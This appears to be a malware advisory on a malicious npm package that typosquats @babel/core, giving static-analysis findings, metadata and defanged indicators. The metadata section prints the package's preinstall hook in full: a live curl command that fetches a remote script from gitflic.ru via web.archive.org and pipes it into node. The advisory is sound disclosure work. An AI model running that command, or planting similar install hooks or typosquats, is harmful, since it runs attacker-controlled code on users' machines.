GCVE-110-OSM-2026-13103

package.json:122 contains a preinstall hook that curls a remote script from gitflic.ru (via web.archive.org) and pipes it straight into node, downloading and executing attacker-controlled code at install time. The package also typosquats @babel/core to maximize install reach. ## Static analysis (vigil) Verdict `BLOCK`, score 51/100. Critical/high findings: - [critical] MANIFEST-001 Malicious install script — `package/package.json:1` - [high] OBF-022 eval/Function aliased to variable — `package/lib/errors/rewrite-stack-trace.js:1` ## Package metadata - Publisher: unknown - Published: unknown - Install hooks: preinstall=curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node - SHA-256 (tarball): `093e184e6e6e477cd30a99b049ed16d0c63954166bd69aa30943175d43851b80` - Registry metadata: unavailable (package likely removed from npm) ## IOCs (defanged) - gitflic[.]ru - hxxps://web[.]archive[.]org/web/https://gitflic[.]ru/project/hellscripter/install-scripts/blob/raw?file=node[.]js - web[.]archive[.]org